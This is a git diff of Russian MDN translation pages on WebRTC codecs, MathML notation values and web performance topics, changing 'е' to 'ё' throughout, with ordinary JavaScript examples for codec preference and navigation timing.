            AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надежность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определенные параметры определенным образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определенный набор значений. А иногда требования более сложны.
            
+
            AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надёжность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определённые параметры определённым образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определённый набор значений. А иногда требования более сложны.
            
 
 
            Полезные, но необязательные параметры
            
 
@@ -115,9 +115,9 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            
  
            max-br
            
- 
            Если параметр определен и поддерживается , он определяет максимальную скорость передачи видеоданных в  единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на  странице 47 спецификации RFC 6184.
            
+ 
            Если параметр определён и поддерживается , он определяет максимальную скорость передачи видеоданных в  единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на  странице 47 спецификации RFC 6184.
            
  
            max-cpb
            
- 
            Если параметр определен и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложненный параметр, размер которого может варьироваться. Смотрим на страницу  45 спецификации RFC 6184 о подробностях.
            
+ 
            Если параметр определён и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложнённый параметр, размер которого может варьироваться. Смотрим на страницу  45 спецификации RFC 6184 о подробностях.
            
  
            max-dpb
            
  
            Определяет максимальный размер буфера  декодированных данных, выраженных в единицах  8/3 макроблоков. Подробности в спецификации RFC 6184, страница 46.
            
  
            max-fs
            
@@ -128,7 +128,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
  
            Определяет максимальную скорость обработки статических макроблоков в секунду (используя гипотетическое предположение, что все макроблоки являются статическими макроблоками).
            
 
            
 
-
            Параметры с определенными требованиями
            
+
            Параметры с определёнными требованиями
            
 
 
            Эти параметры являются необязательными, но имеют специальные требования при их использовании.
            
 
@@ -229,7 +229,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            [2] The {{interwiki("wikipedia", "Internet Speech Audio Codec")}} (iSAC)  -  другой кодек, разработанный Global IP Solutions, теперь принадлежащий Google, открывший его код. Используется Google Talk, QQ, и другими клиентами быстрых сообщений, специально спроектированный для голосовых сообщений, упакованных в поток RTP. Пока не является обязательной поддерживаемым кодеком. Поддерживается Safari и Chrome. Не поддерживается Firefox и Edge.
            
 
-
            {{interwiki("wikipedia", "Comfort noise")}} (CN) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность  вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определенное заполнение в беззвучных промежутках.
            
+
            {{interwiki("wikipedia", "Comfort noise")}} (CN) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность  вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определённое заполнение в беззвучных промежутках.
            
 
 
            Комфортный шум используется с G.711 и может потенциально использоваться с другими кодеками, которые не имеют встроенной функции CN. Кодек Opus, к примеру, имеет собственную реализацию CN, поэтому использование RFC 3389 CN с кодеком Opus не рекомендуется.
            
 
@@ -237,11 +237,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            Кодек Opus
            
 
-
            Формат Opus, определенный в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в соответствующей секции  нашего руководства по аудиокодекам, использующимся в web.
            
+
            Формат Opus, определённый в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в соответствующей секции  нашего руководства по аудиокодекам, использующимся в web.
            
 
 
            Должны поддерживаться оба режима : речь и обычное аудио. Масштабируемость и гибкость Opus полезна при работе с аудио, имеющим различную степень сложности. Поддержка внутриполосных стереосигналов позволяет поддерживать стереозвук без усложнения процесса демультиплексирования.
            
 
-
            Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причем скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..
            
+
            Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причём скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..
            
 
 
            Рекомендации по скорости передачи данных (bit rate)
            
 
@@ -282,7 +282,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            Кодек G.711
            
 
-
            G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что дает скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.
            
+
            G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что даёт скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.
            
 
 
            G.711 определяется ITU  , а его формат нагрузки в {{RFC(3551, "4.5.14")}}.
            
 
@@ -323,11 +323,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
 
 
            Обработчик события icegatheringstatechange установлен; в нем мы отслеживаем тип события complete завершения сборки кандидатов ICE, указывающее что сборка кандидатов завершена. Метод {{domxref("RTCPeerConnection.getSenders()")}} вызывается для получения списка всех объектов {{domxref("RTCRtpSender")}} , использующихся в соединении.
            
 
-
            Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своем свойстве  {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение video, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя  {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную codecList.
            
+
            Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своём свойстве  {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение video, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя  {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную codecList.
            
 
 
            Если видеотрек не найден, устанавливаем  codecList в null.
            
 
-
            При возврате, codecList либо  null , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешенную конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.
            
+
            При возврате, codecList либо  null , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешённую конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.
            
 
 
            
 
            Примечание :  Два метода получения списков кодеков, показанные здесь, используют разные типы вывода в своих списках кодеков. Помните об этом при использовании результатов
            
@@ -356,17 +356,17 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
 }
 
 
-
            В этом примере функция  changeVideoCodec() принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приемо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.
            
+
            В этом примере функция  changeVideoCodec() принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приёмо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.
            
 
-
            Затем, для каждого приемо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения  video, используя статический метод getCapabilities() обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.
            
+
            Затем, для каждого приёмо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения  video, используя статический метод getCapabilities() обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.
            
 
 
            Если тип медиаданных является типом  video, вызываем метод preferCodec() для обоих взаимодействующих сторон списков кодеков, который реорганизует список кодеков необходимым образом  (смотри ниже).
            
 
 
            И наконец, вызываем метод {{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}} объекта  {{domxref("RTCRtpTransceiver")}} для определения того, что использование кодеков обеих сторон разрешено, в указанном порядке.
            
 
-
            Это выполняется для каждого объекта приемо-передатчика объекта соединения  RTCPeerConnection; как только все приемо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создает новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удаленному узлу, и так далее, запуская согласование соединения .
            
+
            Это выполняется для каждого объекта приёмо-передатчика объекта соединения  RTCPeerConnection; как только все приёмо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создаёт новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удалённому узлу, и так далее, запуская согласование соединения .
            
 
-
            Функция preferCodec() вызываемая приведенным выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):
            
+
            Функция preferCodec() вызываемая приведённым выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):
            
 
 
            function preferCodec(codecs, mimeType) {
   let otherCodecs = [];
@@ -384,11 +384,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
   return sortedCodecs.concat(otherCodecs);
 }
            
 
-
            Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей  MIME тип совпадает с тем, который указан в параметре mimeType , другой же содержит остальные кодеки. Как только список разделен, они объединяются вместе с записями, соответствующими заданному mimeType следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.
            
+
            Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей  MIME тип совпадает с тем, который указан в параметре mimeType , другой же содержит остальные кодеки. Как только список разделён, они объединяются вместе с записями, соответствующими заданному mimeType следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.
            
 
 
            Кодеки по умолчанию
            
 
-
            Если не определенно иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями  WebRTC, перечислены ниже
            
+
            Если не определённо иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями  WebRTC, перечислены ниже
            
 
 
            
   
    
            roundedbox
     roundedbox
       a2 + b2  прямоугольник с закругленными вершинамипрямоугольник с закруглёнными вершинами
    
            
    
            
     circleupdiagonalstrike
     updiagonalstrike
       a2 + b2  линия, перечеркивающая содержимое от левого низа до правого верхалиния, перечёркивающая содержимое от левого низа до правого верха
    
            
    
            
     downdiagonalstrike
     downdiagonalstrike
       a2 + b2  линия, перечеркивающая содержимое от левого верха до правого низалиния, перечёркивающая содержимое от левого верха до правого низа
    
            
    
            
     verticalstrike
     verticalstrike
       a2 + b2  вертикальная линия, зачеркивающая содержимоевертикальная линия, зачёркивающая содержимое
    
            
    
            
     horizontalstrike
     horizontalstrike
       a2 + b2  горизонтальная линия, зачеркивающая содержимоегоризонтальная линия, зачёркивающая содержимое
    
            
    
            
     madruwb
 
 
  
  
  
  
  
 
 
 
 
            
-   
+   
@@ -236,7 +236,7 @@ performance.getEntriesByType('frame').forEach((frame) => {
 
 
 
-
            Когда пользователь запрашивает веб-приложение, браузер должен получить некоторые мета-данные, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создает деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестает парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие DOMContentLoaded, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.
            
+
            Когда пользователь запрашивает веб-приложение, браузер должен получить некоторые мета-данные, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создаёт деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестаёт парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие DOMContentLoaded, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.
            let navigationTimings = performance.getEntriesByType('navigation');
            
 
@@ -274,7 +274,7 @@ performance.getEntriesByType('frame').forEach((frame) => {
 
 
            Если мы проверим вычисления, то результат получится схожим: 1 - (22.04 / 87.24) = 0.747. Тайминги навигации позволяют нам получить такие данные программно.
            
 
-
            Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объемом 300КБ вы передаете сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершен DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведет к зависанию интерфейса.
            
+
            Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объёмом 300КБ вы передаёте сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершён DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведёт к зависанию интерфейса.
            Время запроса
            
 
@@ -298,7 +298,7 @@ performance.getEntriesByType('frame').forEach((frame) => {
 
 
            В объекте данных есть поле Длительность (Duration). Длительность - это разница между PerformanceNavigationTiming.loadEventEnd и PerformanceEntry.startTime properties.
            
 
-
            Интерфейс PerformanceNavigationTiming, кроме того, дает информацию о том, какой тип навигации вы измеряете, возвращая navigate, reload, back_forward или prerender.
            
+
            Интерфейс PerformanceNavigationTiming, кроме того, даёт информацию о том, какой тип навигации вы измеряете, возвращая navigate, reload, back_forward или prerender.
            Resource
            
 
diff --git a/files/ru/web/performance/optimizing_startup_performance/index.html b/files/ru/web/performance/optimizing_startup_performance/index.html
index 6da93e1660..3358f1b8f4 100644
--- a/files/ru/web/performance/optimizing_startup_performance/index.html
+++ b/files/ru/web/performance/optimizing_startup_performance/index.html
@@ -4,7 +4,7 @@ slug: Web/Performance/Optimizing_startup_performance
 translation_of: Web/Performance/Optimizing_startup_performance
 ---
 
            
-
            Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создается ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идет не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.
            
+
            Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создаётся ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идёт не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.
            
 
            Приятный запуск
            
@@ -13,7 +13,7 @@ translation_of: Web/Performance/Optimizing_startup_performance
 
 
            Вместо этого, вы можете разбить ваш код так, чтобы часть его обрабатывалась в Web worker, что выделит его в отдельные фоновые неблокирующие треды (например, запросы данных и их обработка). Затем, все, что должно быть выполнено в основном потоке (например, пользовательские события или рендеринг интерфейса) должно быть разбито на небольшие кусочки так, чтобы обработчик браузера выполнял небольшие куски кода итеративно, а не за один подход. Это позволит ваше приложению выглядеть отзывчивым даже во время первоначальной загрузки.
            
 
-
            Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счете это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.
            
+
            Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счёте это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.
            Было бы желание...
            
 
@@ -21,7 +21,7 @@ translation_of: Web/Performance/Optimizing_startup_performance
 
 
            С другой стороны, потребуются некоторые ухищрения, если вы пытаетесь портировать существующее десктопное приложение в Web или привыкли писать такие. Десктопные приложения обычно не нуждаются в написании кода в асинхронной манере, потому что операционная система берет заботу об этом на себя. В исходниках такого приложения может быть лишь один поток обработки кода, но даже он может быть легко разбит на асинхронные этапы (запуском каждой новой итерации потока по отдельности). В таких приложениях запуск часто представляет собой последовательную монолитную процедуру, которая время от времени обращается к метрикам прогресса и обновляет их.
            
 
-
            И хотя вы можете использовать Web workers, чтобы обработать очень большие и "тяжелые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, WebGL или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придется вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать  последствии.
            
+
            И хотя вы можете использовать Web workers, чтобы обработать очень большие и "тяжёлые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, WebGL или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придётся вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать  последствии.
            Тем не менее, даже код в основном потоке можно сделать асинхронным, приложив лишь небольшие усилия.
            
 
@@ -45,9 +45,9 @@ translation_of: Web/Performance/Optimizing_startup_performance
 
 
            Когда первоначальная загрузка завершена и начинается обработка приложения в основном потоке, вполне возможно, что ваше приложение обязано быть однопоточным, особенно если это портированная версия. Очень важно попытаться помочь процессу запуска приложения, порефакторив код, сделав его композитным, состоящим из маленьких кусочков, каждый из которых может быть обработан последовательно основным потоком. В этом случае, в промежутке между выполнением этих кусочков кода браузер сможет выделить время на обработку ввода (например, клик) или на обработку микро-задач.
            
 
-
            В случае, если вы портируете ваше приложение, вы наверняка знаете о Emscripten. Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать emscripten_push_main_loop_blocker(), чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определенном порядке, вы можете с легкостью разгрузить основной поток.
            
+
            В случае, если вы портируете ваше приложение, вы наверняка знаете о Emscripten. Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать emscripten_push_main_loop_blocker(), чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определённом порядке, вы можете с лёгкостью разгрузить основной поток.
            
 
-
            Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займет время. Но для старта этого может оказаться достаточно.
            
+
            Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займёт время. Но для старта этого может оказаться достаточно.
            Насколько далеко я должен зайти?
            
 
diff --git a/files/ru/web/performance/performance_budgets/index.html b/files/ru/web/performance/performance_budgets/index.html
index ff86f4b139..8cb841d20d 100644
--- a/files/ru/web/performance/performance_budgets/index.html
+++ b/files/ru/web/performance/performance_budgets/index.html
@@ -3,7 +3,7 @@ title: Бюджет производительности
 slug: Web/Performance/Performance_budgets
 translation_of: Web/Performance/Performance_budgets
 ---
-
            Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применен к файлам, типам файлов, всем ресурсам приложения, определенным общим показателям (например, Время до интерактивности) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определенным точкам во времени. 
            
+
            Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применён к файлам, типам файлов, всем ресурсам приложения, определённым общим показателям (например, Время до интерактивности) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определённым точкам во времени. 
            Зачем нужен бюджет?
            
 
@@ -14,12 +14,12 @@ translation_of: Web/Performance/Performance_budgets
 
            Главная цель такого подхода - сокращение регрессии. Но этот подход может помочь предсказать поведение приложения в будущем. Например, в Сентябре 50% месячного бюджета было использовано за неделю - значит, нужно ждать увеличения потребления контента, нагрузки на сервера и т.д.
            
 
-
            Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объема занимает огромная библиотека, из которой вы используете только мизерную часть функционала).
            
+
            Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объёма занимает огромная библиотека, из которой вы используете только мизерную часть функционала).
            Как определить бюджет?
            
 
@@ -38,7 +38,7 @@ translation_of: Web/Performance/Performance_budgets
 
 
            Базовая цель - достигнуть показателя "Время до интерактивности" до 5 секунд при 3G/4G, и до 2 секунд для последующих загрузок. Однако, вы можете придумать свои цели, основанные на контенте приложения, географии пользователей и технологиях.
            
 
-
            Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель Первая отрисовка контента (First Contentful Paint) будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включен в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, font-display, чтобы улучшить Субъективно Ощущаемую производительность).
            
+
            Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель Первая отрисовка контента (First Contentful Paint) будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включён в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, font-display, чтобы улучшить Субъективно Ощущаемую производительность).
            Но самая главная цель таких бюджетов - это возможность корреляции Производительности и Бизнес-целей. Когда вы определяете какие-то показатели, вы должны сфокусироваться на пользовательском опыте. Только он может диктовать, как мы должны изменять приложение таким образом, чтобы не просто улучшить конверсию, но и предсказать вероятность того, что пользователь вернётся.
            
 
@@ -53,7 +53,7 @@ translation_of: Web/Performance/Performance_budgets
 
 
            Проверка размеров файлов - это лишь первый рубеж защиты от регрессий. Преобразование этих показателей во временные может быть сложным, потому что во время разработки окружение разработчика может не включать в себя сторонние библиотеки или оптимизации, которые обычно присутствуют в Production сборках.
            
 
-
            Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учетом разницы между окружением разработчика и боевым окружением.
            
+
            Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учётом разницы между окружением разработчика и боевым окружением.
            С этим может помочь, например, Lighthouse Bot, который можно встроить в Travis CI и использовать для получения аналитики Lighthouse и Webpage Test. Этот бот будет сообщать об ошибке или успешном прохождении тестов на основе определённых минимальных оценок.
            
 
@@ -61,7 +61,7 @@ translation_of: Web/Performance/Performance_budgets
 
 
            Чем раньше вы сможете определить новую трату к бюджету, тем лучше вы сможете оценить текущее состояние приложения и указать на необходимые оптимизации.
            
 
-
            Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остается на странице).
            
+
            Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остаётся на странице).
            Бюджет помогает вам сохранить оптимальное поведение ваших текущих пользователей, когда вы пытаетесь выйти на новые рынки или привнести что-то новое в ваше приложение.
            
 
diff --git a/files/ru/web/performance/rum-vs-synthetic/index.html b/files/ru/web/performance/rum-vs-synthetic/index.html
index a2d0a17bec..6692991729 100644
--- a/files/ru/web/performance/rum-vs-synthetic/index.html
+++ b/files/ru/web/performance/rum-vs-synthetic/index.html
@@ -12,7 +12,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic
 
 
            Синтетический мониторинг
            
 
-
            Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определенный набор инструкций, который выполняется в предопределенном окружении.
            
+
            Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определённый набор инструкций, который выполняется в предопределённом окружении.
            Пример такого мониторинга - WebPageTest.org. Ресурс предоставляет контролируемое окружение, где вы определяете географию, сеть, устройства, браузеры и кешированные данные. Сервис предоставляет Waterfall график для каждого ресурса, который используется в вашем приложении и грузится сторонними библиотеками (например, рекламными или аналитическими инструментами).
            
 
@@ -22,7 +22,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic
 
 
            Мониторинг реальных пользователей (RUM)
            
 
-
            Мониторинг реальных пользователей (Real User Monitoring, RUM) измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчеты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и дает информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.
            
+
